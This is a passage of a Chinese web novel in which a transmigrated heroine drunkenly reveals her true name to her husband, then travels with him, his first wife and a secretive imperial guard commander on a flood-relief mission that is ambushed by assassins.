赵小四还未开口，李响便替他回答：“小四可受不起。毕竟我们都是普通百姓，不是人人都像楚大人一样，背后有个了不起的人物撑腰。可以想来六扇门就来六扇门，想去大理寺就去大理寺。我们只要能养家糊口，就已知足。”
陆思云凑近了一些，佯装在李响身上闻了闻，然后神秘地问：“李响兄，你有没有闻到你身上有股什么味道？”
李响下意识地闻了闻自己两边的衣袖，不解地问：“什么味道？”
陆思云假装十分意外地抬高嗓门，用所有人都能听到的声音大声喊：“你没有闻到吗？一股
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浓浓的酸味儿。”
在场的人立刻哄堂大笑。
李响气急败坏：“楚星然，你别欺人太甚！”
“我欺人太甚？你问问在座的各位，平日里是你欺人太甚多一些，还是我欺人太甚多一些，你问问？”
身后早就有不满李响搞小团体欺负其他同僚的人全都忍不住附和：“就是就是。”
“明明就是你们一直欺负别人，怎么还好意思倒打一耙。”
李响气得脸色铁青，说不出一句话来。
陆思云继续说道：“我确实是靠关系走后门进的六扇门，这点我从不否认，也不觉得丢人。有关系有靠山也是我的本事，不然为何我能有靠山你却没有？你这是承认自己没本事咯？”
“我说不过你这个牙尖嘴利的小娘子。”
“说不过就说不过，怎么还带上性别了，真是没种。我进来靠关系没错，但我破案可是靠得我自己，升去大理寺也是靠我自己。但你肯定不这么认为，你一定觉得我也是靠了别人才走到今天。我不在乎你怎么看我，毕竟我没那个闲工夫在乎别人对我看法。我要做的事情还有很多，我在乎的也不是别人对我的评价。我自己如何，我自己知晓，我也问心无愧。”
“今日我主动邀请你一起喝酒，本意还是因为我即将离开，大家好歹同僚一场，离开前能与你们冰释前嫌最好，不能对我也没什么损失。你们晚上来，我热烈欢迎，你们不来，也无伤大雅，我依旧会与其他同僚一起痛快畅饮。”
放完话，陆思云转身对着其他众人说道：“大伙们，我在醉仙楼包了场，今晚大家不醉不归！”
“好啊！好啊！一定来！不醉不归！”
------
晚上醉仙楼喧天锣鼓，欢声笑语，热闹非凡。
为了助兴，陆思云还请了一个戏班子来为他们表演。
作为主角，陆思云自然少不了要被灌酒。
她的酒量其实不错，但也禁不起这一杯杯地往下灌。
等宋晏初坐着马车前来接她的时候，她已经醉得东倒西歪。
见她这副不成体统的模样，宋晏初剑眉紧皱，刚想开口数落她几句，转念一想，今天是她在六扇门的最后一天，她心情畅快，实在有些不忍心破坏了她的好心情。
况且，跟一个酒鬼，能教训出个什么所以然来。搞不好她回去睡一觉，第二天起来便什么都忘了。
他又何必去浪费这个口舌。
两人坐在马车内，宋晏初搂着醉倒在他怀中的陆思云，目视前方，腰板笔直，四肢僵硬，像被钉住了一般，半点动弹不得。
他从未与楚星然如此亲密过。
不止是楚星然，他从未同任何女子这般亲密过。
她的呼吸喷在他的脖间，痒痒的。
宋晏初感觉自己的心口也跟着痒痒的，让他有些难耐。
他刚准备将她换个姿势，谁知楚星然突然竖了起来，眼神因醉酒而显得有些迷离。
她看到眼前的人，露出痴痴地笑，然后她开口。
“夫君，你知道吗，其实我根本不是楚星然。”
34.第 34 章
“夫君，你知道吗，其实我根本不是楚星然。”
“你醉了。”宋晏初以为她是喝醉了，胡言乱语。
醉酒的人最听不得这句话。
陆思云一张脸喝得通红，舌头都有些捋不直，但她开始发酒疯大喊道：“我没喝醉！我清醒着呢！我不是楚星然，我的真名叫陆思云。你清楚了吗？我叫陆思云，不叫楚星然。”
宋晏初一瞬不瞬地看着她。
醉酒之人的话，他自然不会全信。
但她毫不犹豫地说出了另一个完整的名字，这又让他觉得她的话不能全都不信。
他回想起最近楚星然的变化，确实是像是完全变了一个人似的。
平日里那嚣张跋扈的脾气荡然无存，变得现在如此率真活泼讨人喜爱。
平日里速来与莫婉晴针锋相对，如今却同她情同姐妹。
平日里深居内院，凡事都以讨好他为目的，可如今却是一心扑在破案上，对他却是半点都不上心。
仔细回想她的变化，确实实在太大，让人起疑。
她说她叫陆思云，那为何跟楚星然长得一模一样。
她既然是陆思云，那么真正的楚星然又在哪里？
心中的疑问实在太多。
但宋晏初刚想开口询问，陆思云扔下这个地雷之后，便又重新倒在他的怀中。
这次，是真的醉得睡着了。
陆思云第二天从自己的床上醒过来，顿觉头痛欲裂。
“翠柳！”
翠柳听见叫唤声，立刻跑了进来，手里端着一个碗。
“夫人，这是姑爷特意吩咐下人给您煮的醒酒汤，你快趁热喝下。”
陆思云皱眉接过醒酒汤，一饮而尽。
喝下醒酒汤，陆思云靠在床上，慢慢点着醒酒汤发挥药性，以此缓解头痛。
忽然，电光火石间，陆思云脑中闪现昨天夜里与宋晏初在马车内对话的场景。
——“夫君，你知道吗，其实根本不是楚星然。”
——“我没喝醉！我清醒着呢！我不是楚星然，我的真名叫陆思云。你清楚了吗？我叫陆思云，不叫楚星然。”
她猛的从床上坐起，眼睛瞪得老大，一颗心提到了嗓子。
她昨天晚上，对宋晏初说了什么啊？
果然喝酒误事啊啊啊啊啊！
翠柳进来拿空碗，见她脸色苍白地坐在床边，一副六神无主的样子，担忧地问：“夫人，你怎么了？脸色这样难看，是不是哪里觉得不舒服？”
“我没事，伺候我更衣，我有事要找夫君。”
收拾完自己，陆思云怀着一颗惴惴不安的心走在去往宋晏初书房的路上。
一路上她一直在思考，对于昨天的重大失误，她应该要用什么话术糊弄过去。
宋晏初作为大理寺卿，头脑聪明，逻辑清晰，并不是那么好忽悠的人。
她该如何自圆其说，让他相信她昨天说的话是自己喝醉了说的胡话。
当她快要走到宋晏初书房门口的时候她突然猛的停下了脚步。
等一下！
自己为何要自投罗网？
她现在去找宋晏初主动提及昨天的事，那不是不打自招，显得自己更加心虚？
陆思云站在门口独自庆幸，还好自己及时想明白，不然差点就自曝了。
好险好险。
她捂着胸口，转身就跑。
宋晏初站在书房的窗户边，看着陆思云神色匆匆地朝着自己这边快速走来。
快到的时候却突然猛的停下了脚步。
原本看着她过来找自己，宋晏初的心情雀跃地连他自己都没有察觉到。
当他看到陆思云走着走着突然停了下来，他的眉毛不自觉地抖了一下。
仿佛自己的心也要停止了一般。
宋晏初正准备出门去喊住她，却看到她捂着胸口转身就跑，好像自己的书房门口有什么洪水猛兽似的。
他不明所以，不知道为何她明明是来书房找他的，怎么到门口不进来反而又跑了。
他又想起昨天晚上她说的那句醉话。
到底是何意思？
她一大早过来找自己，是想跟他解释昨天晚上的事么？
既然是来说昨天晚上的事，那为何又跑开了呢？
陆思云定然想不到，她这区区的一个行为，让宋少卿在书房里想了一个早上。
中午用膳的时候，陆思云坐在他旁边，小心翼翼地吃着菜，内心实在是虚得不行。
“星然妹妹今天吃的，怎的这般安静？”
莫婉晴并不知道昨天马车上陆思云喝醉酒自曝，看她今天这般反常，便笑着问道。
陆思云的手顿了一下，然后抬头看向她，笑得有些心虚：“没有的事，我就是昨夜醉酒，今天有些头痛而已。”
宋晏初不动声色地看着她的反应。
“一会儿我吩咐厨房给你熬点醒酒汤。”
“不用了姐姐，早上夫君已经让人给我熬过了，多谢姐姐。”
莫婉晴听了，侧头看向宋晏初，发现对方正在认真吃饭，无意参与到她们二人的谈话中。
直觉告诉她，昨夜宋晏初坐马车去醉仙楼接陆思云，两人定是发生了点什么事。
不然为何现在两人之间的氛围如此怪异？
但莫婉晴是个知分寸的人，既然是他们二人之间的事，如果不是他们主动告知，她也就不方便多问。
陆思云现在心里慌乱的不行，她确定自己昨晚喝醉酒上头自曝姓名。
但是她不确定宋晏初是否听见了，是否产生了怀疑。
可她又不好主动去问他这件事，不然显得很刻意，也许原本他没放在心上，可自己去提了，反而弄巧成拙起了疑。
“今日，你随我去大理寺熟悉下同僚和事务，可好？”
宋晏初突然开口，吓得陆思云一个激灵。
她下意识地回答：“好，甚好。一切听从夫君安排。”
用完膳，两人坐在前往大理寺的那车内。
陆思云简直坐如针毡。
宋晏初见她坐立不安，问：“夫人可是头还在痛？”
“已经好多了，谢谢夫君的醒酒汤。昨日有些过于放纵，还劳烦夫君亲自来接我，实在抱歉。我昨夜醉得厉害，没有说什么胡话吧？”
陆思云小心翼翼地试探道。
宋晏初腰板笔直地坐在她旁边，脸色平常地回答：“夫人昨日确实醉得厉害，对我说你不叫楚星然，而是叫……陆、思、云。”
陆思云瞳孔微缩：“哈…哈…哈哈哈哈，陆思云是谁？”
宋晏初转过头盯着她
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，问：“这个名字出自你口，你不认识么？”
两人的距离很近，他的呼吸甚至吹拂在了她的脸颊上，但陆思云却只觉得背后发凉，额头直冒冷汗。
正当陆思云不知作何回答的时候，马车突然停了下来。
大理寺到了。
宋晏初低头看着那张发白的小脸蛋，有些于心不忍。
他起身准备下马车，还未出马车，他的动作停了下来，但并未转身。
陆思云看着他的背影狐疑之际，她听见宋晏初说：“如果你不打算说，我不逼你。我也答应你，不会去调查此事。我会等，等到你想对我坦白的那天为止。”
然后，在她愣神的时候，他抬腿迈下了马车。
陆思云在圣上面前，仅用一炷香不到的时间便破了凶杀案，洗清冤屈，并得圣上恩典前往大理寺就职。
这个事情大理寺的人也早有耳闻，并且她还是大理寺少卿宋晏初的妻子，大家对她自然是丝毫不敢懈怠。
陆思云在大理寺的待遇，比上在六扇门，那简直是天差地别。
跟同僚们相互认识了之后，宋晏初便把她带到了最里屋。
“夫君这是要带我去何处？”
“你来大理寺就职，怎能不去见一见大理寺卿？”
大理寺卿？那不就是宋晏初的父亲，自己的公公宋明怀？
陆思云自穿越来到现在，从未见过自己的这位公公。哪怕是上次左尚书大寿，他也未曾前来。
宋晏初继续说道：“虽然大理寺现在由我主理，但我父亲依旧是大理寺的最高话事人。你初来乍到，于情于理要去拜见。”
“夫君说的极是。我也许久未见公公了。”
只是不知道，这位素未谋面的公公，是个什么脾气的人。
陆思云心里有些没底，但又不好直接问宋晏初。
只能走一步看一步。
陆思云在宋晏初的带领下，见到了自己的公公，大理寺少卿宋明怀。
宋明怀看上去四十多的模样，身高与宋晏初差不多高，就连不怒自威的模样也跟自己的儿子很像。
难不成在大理寺当差的人，都这么一本正经的么？
陆思云在心中暗暗吐槽。
但她还是恭恭敬敬地行礼道：“下官楚星然拜见宋大人。”
“楚家丫头，许久不见，想不到你现在成了一个女神捕。你的事迹，都快在洛城里传遍了。”
“大人谬赞。”
“如今来大理寺，跟在晏初身边办事，老夫很是放心。”
“下官一定不负大人期望。”
“这里没有外人，就不必过多拘礼了。”
有了他这句话，陆思云便放松了不少。
想不到楚星然这位公公，看上去面相凶得很，其实人还挺和善的嘛。
“听说你和莫家那丫头，如今相处的甚是融洽？”
“是的，我和莫姐姐情同姐妹。”
“好好，家和万事兴。你们能和睦相处，老夫也就放心了。”
“公公有空可以来我们府上坐坐。”
“一定一定。”
宋晏初看着她与自己的父亲相谈甚欢，脸上露出淡淡的笑容。
没一会儿，云青走了进来，在他耳边低声说：“少卿，宫里来人，召您进宫面圣。”
35.第 35 章
宋晏初在大理寺的时候，就被皇上召见进了宫。
陆思云初来乍到，除了熟悉环境和职务内容，别的也无事可干。
她回到府中，发现宋晏初并未回府。
见她一个人回来，莫婉晴有些惊讶：“夫君怎么没同妹妹一起回府？”
“夫君今日在大理寺时，被皇上召进宫里，到现在都还未回来。姐姐，你可还记得，这段时间有何大事发生么？”
莫婉晴仔细回想上一世的几个重要节点，立刻得出结论：“这个时候，正是华东水患严重的时候。也许皇上召见夫君，是想让夫君去华东地区赈灾。”
赈灾……
如果宋晏初要去华东地区赈灾，那作为他的部下，自己定然也会随同。
一想到自己可以离开洛城，去洛城之外的地方看看，哪怕是去赈灾救人，陆思云也是十分愿意前往的。
“如果皇上召见夫君，真的是为了华东赈灾一事，姐姐是否愿意与我们一同前往？”
陆思云的建议，莫婉晴很是意外，可要说一点不心动，那是在自欺欺人。
她自小没有离开过洛城，从来不知道皇城之外的世界是什么样子。
可是她身上又有着一份责任，不敢随意就这样放下。
“一同前往？可是府中事务该如何是好？”
“府中事务可以交给刘管家代为管理。反正之前姐姐没有接手的时候，也一直是刘管家在掌管。再说，这些日子，姐姐把府中上下打理的井井有条，大家各司其职，早就知道自己该做什么，不该做什么，姐姐无需太过担心。”
“可是，夫君这次是去办差事，妹妹是夫君的部下，一同前往理所应当。可是我又是以何身份跟你们一起去呢？”
“姐姐如果愿意，这个好办，等夫君回来，我们一同与他商量便是。”
二人便等在前厅，等宋晏初回来与他商议此事。
宋晏初回府，看到二人在前厅等自己，并没有感到意外。
皇上急着召见他，他未来得及与楚星然说太多。
以她打破砂锅问到底的性子，她一定会等他回来问个究竟。
果然，见了他，陆思云立刻站起来问：“夫君，皇上召见你所谓何事？”
宋晏初将佩刀扔给一旁的云青，然后坐下先喝了口茶，才道：“华东地区水患严重，皇上派我带上灾银前去赈灾。”
果不其然！
陆思云和莫婉晴暗暗对视了一眼。
“既如此，我们有个提议，还望夫君成全。”
“什么提议？”
“既然夫君要前往华东赈灾，那作为大理司直，我自然也要一起去。”
宋晏初刚想开口就被陆思云抢断道：“夫君不用劝我，百姓有难，我义不容辞。”
见她态度这么坚定，宋晏初也便不再多说。
他知道这位楚星然性子倔，一旦是她决定好的事，十头牛都拉不回来。
“我第一次跟夫君去皇城之外的地方办差，我一女子自然诸多不便。所以，我想请求夫君，此次赈灾，能否带莫姐姐一起去，我们路上好相互有个照应。”
“胡闹！”宋晏初想都没想，脱口而出。
“我们这次是去赈灾，洪水如猛兽，万一有个好歹我如何向岳父大人交代。婉晴与你不同，她从小连家门都鲜少出过，又如何能受得住一路上的奔波劳累？”
“路上奔波是必然，我会照顾好莫姐姐，这点请夫君放心。此次赈灾我提议带莫姐姐一起，也是觉得莫姐姐聪慧过人，主意多，也许在解决水患的问题上，能帮到夫君。更何况，莫姐姐自己也很想同我们一起去，希望夫君可以成全。”
宋晏初转头看向一旁一句话未说的莫婉晴，问：“你真的想跟我们一起去？”
莫婉晴坚定地点点头：“婉晴虽然是深闺女子，没见过什么世面。但是我也想为天下百姓尽点绵薄之力。”
见两位夫人如此坚持，宋晏初最终只能轻坦了一口气。
“明日一早便需出发，请夫人们回各自院中收拾行礼。”
见他松口答应，二人全都喜出望外，连忙行礼：“是，谢谢夫君。”
------
陆思云哼着小曲儿，心情愉悦的收拾着自己的衣物。
唯一不开心的，就只有自己的丫鬟翠柳了。
“夫人，您也带翠柳一起去吧。水患严重的灾区，条件一定非常艰苦，我怕您一个人会照顾不好自己。”
“我是去办事的，又不是去玩的，我带你去像什么话呢。你不用担心我，有夫君和莫姐姐一起，我不会有事的。你就乖乖呆在府中等我回来。”
“哪有人家丫鬟，一天都见不上自己夫人几面，现在可到好，干脆是连着好几个月都见不到了。”
陆思云知道她是关心自己，才会这般恼怒，所以也不生气。
她摸了摸翠柳气鼓鼓的脸颊，安慰道：“好了，别生气了。我们不在的这段时间，府里的事情，你和碧水多配合刘管家，一起打理好，别出什么岔子。我们远在万里，要是出了什么乱子，也赶不及。”
翠柳一边抹泪一边点头。
同样在屋子里哭闹的，还有兰熙苑的碧水。
“夫人你怎么能跟着二夫人一起瞎胡闹呢？你这身子骨，哪里禁受的起长时间的马车奔波啊。”
“碧水，慎言！夫君和星然妹妹是去救助灾民，怎么能是胡闹呢？我看着他们二人，有着大志向，愿意为百姓不顾自己的安危，我非常羡慕。现在我终于也有这样的机会，你应该为我高兴才是啊。”
“可是……可是……”
“你不要担心，路上我和妹妹相互照顾，定能把自己顾好，不会出事的。你留在府中帮我协助刘管家打理好府中的事务，让我在外可以无后顾之忧。”
知道自己劝不住自己的夫人，碧水只能含泪点点头。
第二天一大早，天还未亮，众人便整装待发，准备启程。
两位丫鬟站在宋府门口，，目送自己的主人坐上马车离开，全都哭成了泪人。
莫婉晴第一次出门，心中有些百感交集，还有对未知路程的焦虑。
陆思云见她紧张，便伸手握住了她放在膝盖上的手。
感受到温度，莫婉晴转过头，对上陆思云柔和的眼神。
“姐姐，不用
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担心。我和夫君都会保护你的。”
莫婉晴这才露出些许笑容：“让妹妹见笑了。”
“在我面前，姐姐无需遮掩。我们早就对彼此坦诚了，不是吗？”
“妹妹说得是。”
她们二人坐在马车里，而宋晏初则骑马走在队伍的最前方。
所以她们才可以这般肆无忌惮地说话。
一行人顺利出了城门，行走在郊外的路上。
陆思云与莫婉晴微微抬起车窗上的帘子，贪恋地看着窗外的自然风景。
这是在皇城内看不到的美丽景象。
队伍的最前方突然停了下来，马车也跟着停在原地。
感受到马车的停顿，二人狐疑地面面相觑，不知是发生了何事。
宋晏初骑在马上，看着前面同样骑在马背上，却穿着一身常服的陆琛，微微皱眉。
“陆大人，您这是出城办私事？”
谁知陆沉却没有回答他的问题，而是向他抱拳道歉：“宋大人，前些天不分青红皂白将您的二夫人抓回诏狱，多有得罪，在此向您和贵夫人陪个不是，还妄宋大人不要介怀。”
陆琛愿意放下身段向自己道歉，真是太阳打西边出来。
宋晏初并没有因为他的道歉而觉得心情舒畅，他只会怀疑陆琛是否另有所图。
“我替内子接受陆大人的道歉。在下皇命在身，便就此别过。”
“宋大人可是去华县治理水患？”
“正是。”
这次皇上私下召见，本意是想让宋晏初低调出行，低调行事。
但是锦衣卫知晓此事，他并不感到奇怪。
毕竟锦衣卫是皇上身边的人，知道也实属正常。
“我正好也要去华县办点私事，既然你我同路，不如同行，一路上还能有个照应，宋大人以为如何？”
宋晏初脸色微变，他果然有所图谋。
“这，恐怕不妥吧。”
“我只身一人，又未穿锦衣卫的官服，旁人不会知晓我的身份。并且我只是去华县办私事，与宋大人并不冲突。只是一起搭个伴罢了，宋大人无需这么防备于我。”
宋晏初知道，陆琛不达目的不会罢休，并且这个人不好惹，什么事都做的出来。如果自己不答应，说不定他会做出什么来逼自己答应他的要求。
他有皇命在身，一刻都不敢懈怠，也不想跟他过多纠缠，于是便点头答应。
陆琛拉动缰绳，与他站在一处。
“多谢宋大人。”
马车逗留了许久，莫婉晴忍不住内心的好奇，拉开窗外，将头探出，想要查看外面的情况。
却不想与刚好回头看向马车的陆琛四目相对。
莫婉晴真个人像被电了一下，立刻缩回了马车。
陆思云看她表情异样，忙问：“姐姐，外面发生了何事，你的脸色为何这般难看？”
“我看到了陆琛。”
陆思云以为自己听错了，“你说什么？你说你看到了谁？”
莫婉晴转过头来看着她的眼睛，一字一句地开口：
“我说，我在马车外，看到了锦衣卫指挥使，陆琛。”
36.第 36 章
“陆琛？他为什么会在这里？”
莫婉晴摇头：“陆琛的为人大家心知肚明，必定是来者不善。”
听她这样说，陆思云的表情也开始凝重起来。
“我们现在应该怎么办？”
莫婉晴想了想：“夫君皇命在身，此时救灾要紧。至于陆琛为何在此，我们只能静观其变，看他葫芦里到底卖的什么药。”
陆思云沉吟，目前也只能这样了。
赶了一天的路，傍晚时分，宋晏初决定找家客栈落脚。
在马车上颠婆了一天，莫婉晴腰酸背痛，下马车的时候，甚至有些脚步不稳。
一只手伸到她的面前。
莫婉晴有些错愕地抬眸，看到穿着深色常服的陆琛站在马车旁，正向她伸出手，想要扶她下马车。
她愣住，并未动作。
于情于理，他这样的行为，都是极为不合适的。
陆思云跟在莫婉晴身后，看到这一幕，眼底发紧。
她立刻一个健步下了马车，转身抓住莫婉晴的手，扶着她下了马。
然后对一旁的陆琛露出似笑非笑的神情：“多谢陆指挥使，不过我们好歹是有夫之妇，陆大人这样做，有些逾越了，请陆大人自重。”
莫婉晴偷偷拉了拉她的衣袖，觉得她这番话有些过于重了。
陆琛并非善类，上次陆思云已经吃过他一次亏，她不希望妹妹再因为自己得罪这个阎罗王。
没想到陆琛却并不介意，而是收回了自己是手，说道：“楚大人说的是，是在下唐突了。”
宋晏初也走了过来，方才的那一幕他自然也全都看在眼里。
“陆大人，想不到你对我的内人们如此关心，有劳您费心了。”
陆琛看了他一眼，最终什么都没说，走进了客栈。
见他走进去，陆思云连忙神情焦急地问宋晏初：“夫君，陆琛为何会出现在这里？”
“我也不清楚。说是有私事要去华县，与我们结伴而行。但是我总觉得，事情不会是他说的这样简单。”
“不管怎样，陆琛这个人心机深重，我们还是要小心他一些为好。”
三人在门口小声讨论了片刻，便一同进了客栈。
莫婉晴赶了一天的路，很是疲惫。
晚饭都没同大家一起吃，在客房里休息没有出来。
她第一次赶这么久的路，无论是体力和精力全都跟不上其他人，此时已经支撑不住歇下了。
陆思云在楼上用膳的时候，心里一直挂念着房间里的莫婉晴，一顿饭吃的心不在焉。
宋晏初看出她担心莫婉晴，于是便提议：“你要不要带些点心去给婉晴？”
经他一提醒，陆思云这才想到要去拿些点心：“夫君说的是，我这就拿些点心去给莫姐姐，先失陪了。”
宋晏初微微点头，然后目送她一路小跑上楼回了房间，眼底尽是温柔。
陆琛在旁边一言不发地看着他们夫妻二人的互动。
陆思云离开之后，桌上就只剩下陆琛和宋晏初两人，在无声地喝着酒。
良久，陆琛说：“宋大人真是艳福不浅。两位夫人才貌双全，一个古灵精怪一个温柔贤淑，二人姐妹相称，关系甚好。你们三人同心，一起去华东治理水患，同甘共苦，实在是羡煞旁人。”
宋晏初不知他是真心还是假意，只能敷衍道：“陆大人过奖。”
“宋大人似乎对我有成见？”
“陆大人多虑了，只不过锦衣卫是何许存在，我想您心知肚明，不需要我赘述。”
言外之意，你锦衣卫在外名声多臭自己没点数吗？还在这儿揣着明白装糊涂，跟我在这儿套近乎。
陆琛对他的阴阳怪气不为所动，他甚至给自己斟酒小酌，看上去心情甚好。
宋晏初不愿与他过多接触，于是便寻了个理由离开。
“明早还要赶路，宋某先回房休息。陆大人请自便。”
陆琛微微点头，对他的离开并不在意。
很快，桌上便只剩下他一人，独自饮酒到深夜。
经过一晚上的休息，莫婉晴觉得自己的精神好了许多，脸上的疲倦也一扫而空。
由于昨天一早便歇下，今天醒得格外早。
她小心翼翼地起身，蹑手蹑脚地离开房间，生怕吵醒了一旁正在熟睡的陆思云。
她来到客栈的天井下，呼吸着清晨微凉的空气，顿觉神清气爽。
“宋大夫人醒得这般早？”
身后突然响起一个男人的声音，吓了莫婉晴一跳。
她转过身，看到陆琛站在她的身后。
今天他换了一身浅色常服，肩宽腰窄，显得十分书卷气。
若不是知道他的身份，她几乎以为眼前的人是哪户人家的翩翩公子，如此温文如玉。
“陆大人，你也起得这么早。”
上次左尚书府，他不分青红皂白抓走陆思云一事之后，莫婉晴对他的印象就一直很不好，此时碰到，自然也不会多热情。
陆琛不蠢，自然也听出她语气中的冷淡。
“宋大夫人，好像很讨厌在下？”
“陆大人哪里的话。我一介妇人，哪里来的胆量敢讨厌锦衣卫指挥使。我怕也会被陆大人抓去诏狱。”
听出她话中的揶揄，陆琛笑道：“看来上次我抓走宋二夫人一事，大夫人到现在依旧怀恨在心啊。”
“妾身不敢。锦衣卫向来只听皇上之命，陆大人做的每个决断都自有你的道理，我无权过问和干涉。万幸妹妹靠自己的能力，自洗清白，还能借此去大理寺当差，从结果来说，并没有什么值得怨恨陆大人的地方。妹妹在诏狱并未遭受酷刑，妾身反而要感谢陆大人的照拂。”
莫婉晴的一席话，让陆琛愕然。
他一直过得是道口铁血，万人唾弃的日子。
却不想现在有个人，对他说理解他的立场，甚至还表示了对他的感谢之情。
这让他的内心不禁被触动了。
见他没有反应，莫婉晴也不想跟他再待在一起，毕竟他们二人的身份，独处在这里，实在于礼不合。
“陆大人，妾身告辞。”
看着她离去的背影，陆琛陷入了沉思。
休整了一夜，宋晏初带领队伍又重新出发。
陆思云和莫婉晴坐在马车里，她看到姐姐的脸色比昨天好了许多，心里也放心不少。
她可是答应了碧水，要照顾好她家夫人，她定不能言而无信。<
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昨夜看莫婉晴到了客栈，脸色极差，她很是担心。
她自出生起便是大小姐，从小从未吃过苦，第一次这样奔波，不适应也实属正常。
“看姐姐气色比昨天好了许多，我也放心了。夫君为了尽早赶到华县，路上鲜少休息。姐姐如果承受不住，我可以跟夫君提议，让他增加一些休息的次数。”
“妹妹万万不可。”莫婉晴连忙阻止：“妹妹体恤我体弱，我心里十分感激。但此次夫君皇命在身，百姓深受水患折磨，就等夫君带着赈灾银两去救助。我不希望因为我个人的原因，拖累大家的进程。”
“既如此，姐姐如若有什么需求，定要同我说，不要客气。”
见陆思云没有坚持，莫婉晴顿时松了口气。
原本她想随行之时，宋晏初就并不同意，觉得她从未经历过长途，身体会吃不消。
昨天一天下来，自己确实觉得体力不支，身体不适。但是经过一晚上的休息，自己也已经恢复得差不多了。
她不希望自己在这支队伍里受到特殊的照顾，更不希望因为自己而拖累整个队伍的行程进度，耽误了救助灾民的时间。
这不仅关于到百姓的安危，也关乎到自己的自尊心。
她不希望自己被人当成是一个柔弱易碎的花瓶，她也想为百姓、为这天下，尽一份自己的责任。
队伍在树林里缓慢行进。
忽然，天降好几十名穿着黑衣的蒙面人。
几乎是立时立刻，陆琛和宋晏初便感受到了危机。
二人立刻飞身下马，掏出腰间的长剑，与行刺者对打起来。
顿时，刀剑声、喊大声、惨叫声、马屁的嘶鸣声混在一起。
陆思云和莫婉晴坐在马车里，听见外面有移动，莫婉晴一脸惊恐地抓住她的手臂：“怎么了，发生什么事了？”
陆思云面色凝重地回答：“我们遇到了行刺，姐姐你呆在马车内，切勿下车，我出去帮他们。”
说完便不顾莫婉晴的拉扯，一个飞身跨下了马车。
独自呆在马车内的莫婉晴更加害怕了，耳边传来刀剑划破车身的声音，在她听来异常地刺耳，吓得她全身发抖六神无主。
“救命啊！救命啊！”她下意识地哭喊着救命。
突然，窗边传来一个低沉的声音：“莫慌，我就在这里，定会护你周全。”
这个声音，她记得。
早上的时候，他们还在客栈的天井下有过短暂的对话。
不知为何，听见他的声音，莫婉晴竟然就没那么害怕了。
不知过了多久，外面的打斗声渐渐平息了下来。
莫婉晴颤颤巍巍地拉开马车的车帘，看到地上倒了一片的黑衣人，而陆思云、宋晏初和陆琛手中握着剑站在原地检查尸体，想确认刺客身份。
看来刺客们都被他们处置了。
她这才放下心来，自己小心翼翼地跳下马车，走到陆思云的身后。
看到地上触目惊心的尸体，她还是不自觉地打了个冷颤。
宋晏初将剑回刀鞘，脸上带着一层薄薄的怒气，看着陆琛，质问道：“陆大人，你还不打算跟我们坦白么？”
“你这次前来，到底有何目的？”
37.第 37 章
经此一劫，陆琛也知道不能再隐瞒下去。
“诸位，请借一步说话。”
宋晏初让其他人原地休息，顺便处理地上的尸体。
随后他们三个人跟随陆琛来到河边。
“陆大人，你跟着我们队伍，到底意欲何为？”宋晏初追问道。
陆琛沉默了片刻，终于决定坦白：“其实我这次去华县，是奉陛下旨意，秘密调查华东地区官员贪污赈灾灾银的案子。”
“什么？”三个人听了，全都瞪大了双眼。
“其实朝廷之前已经拨了一部分灾银去华东，但灾情却不见好转。陛下怀疑有人贪污灾款，所以命我暗中查探此事。华县是受灾最严重的地方，所以我选择拿华县开刀，去探个究竟。”
“难怪陛下此次让我亲自带上灾银前往华县，他是担忧灾银又会中途被人贪污了去，没有用到救灾之处。让我协助当地官员一起赈灾，也是让我在现场监督赈灾情况。”
莫婉晴听到有人竟然目无法纪，贪污灾银，怒不可歇：“朗朗乾坤之下，竟然有这样为了贪图一己私利，不顾天下百姓安危之人，实在是太可恶。”
宋晏初和陆琛听了她的愤慨，只觉得她天真无邪。
只有心思纯净之人，才能说出这般干净的话。
他们俩都在官场上浸/淫多年，早就把这世道看得透彻。
所以在听到地方官员不顾百姓死活贪污灾银的时候，心中并未觉得愤慨，因为灾情年年有，这种事年年都不能避免。
虽然这种事他们见怪不怪了，但并不代表他们便能苟同此行为。
他们作为朝廷命官，有责任拨乱反正，这是义不容辞之事。
“所以，宋大人不如我们一起合作。”陆琛提议道。
“合作？”
“我助你前往华县赈灾，你助我查清这贪污灾银案。”
陆琛的提议，宋晏初没有拒绝的理由。
他们目的地一致、目标一致，合作是最好的办法。
“好，我答应与你合作。”
陆思云不安地看向一旁的莫婉晴，莫婉晴向她使了个眼色。
虽然陆琛为人心狠手辣，让人摸不透。
但是眼下与他合作是最好的法子，以陆琛的性子，倘若不同意与他合作，不知道接下来他会不会给他们使什么绊子。
多一个盟友总比多一个敌人要好。
合作联盟结成以后，一行人又再次上路。
方才的袭击，把莫婉晴吓坏了，她坐在车里一直捂着胸口，脸色惨白，还没从惊吓的情绪里缓过来。
陆思云陪在她的身边，握着她的手，感受到她全身正在微微发抖，却束手无策。
车窗外传来声音：“宋大夫人，你可还好？”
是陆琛。
陆思云不明白，为何陆琛会来关心莫婉晴。
但她还是替莫婉晴回答：“多谢陆大人关心，莫姐姐很好。”
窗户外伸进来一只手，手上拿着一个酒壶。
陆琛在车外继续说：“这是西域特制的古酒，有镇定心绪的作用。宋大夫人可以喝一点。”
陆思云想开口拒绝，却被莫婉晴制止。
她伸手接过酒壶，道了声：“多谢陆大人。”
陆琛送完了酒，又骑着马走到了队伍的最前面。
陆思云看着莫婉晴打开酒壶喝了一小口酒，有些匪夷所思：“姐姐，陆琛给的酒你都敢喝啊？就不怕他在酒里下了什么药？”
莫婉晴笑着回答：“他对我下药，对他能有什么好处呢？如今我们与他同坐一条船，害了我，对他百害无一利，他没有要害我的理由。”
“我觉得他这个人总是一副没安好心的样子。”
“我现在倒是觉得，他可能没有我们想的那么可恶。”
陆思云盯着她，眼里充满探究：“莫姐姐，你跟他之前，是不是发生了什么？”
为何短短几日，她就对陆琛的态度转变了。
直觉告诉她，他们之间似乎发生了什么事。
不然为何陆琛会无缘无故地关心她，而她也开始替他说话。
谁知莫婉晴听了陆思云的问话，脸上第一次露出愤怒的表情：“荒唐！我是有夫之妇，怎么会与别的男子有什么。妹妹切莫乱说！”
这还是陆思云头一回看到莫婉晴生气的样子，顿时再也不敢有所怀疑，连忙道歉：“对不起莫姐姐，姐姐不要生气，我只是随口一问，并无他意。”
莫婉晴也意识到方才自己有些过于激动，“这不怪妹妹。妹妹有这样的疑问，说明我与他之间确实有些走得过于近了，往后我会切忌与他保持距离。”
快马加鞭半月多的时间，宋晏初一行人带着赈灾的灾银来到了受灾最严重的华县。
华县的县令张远宏早就等在县衙门口，迎接宋晏初的到来。
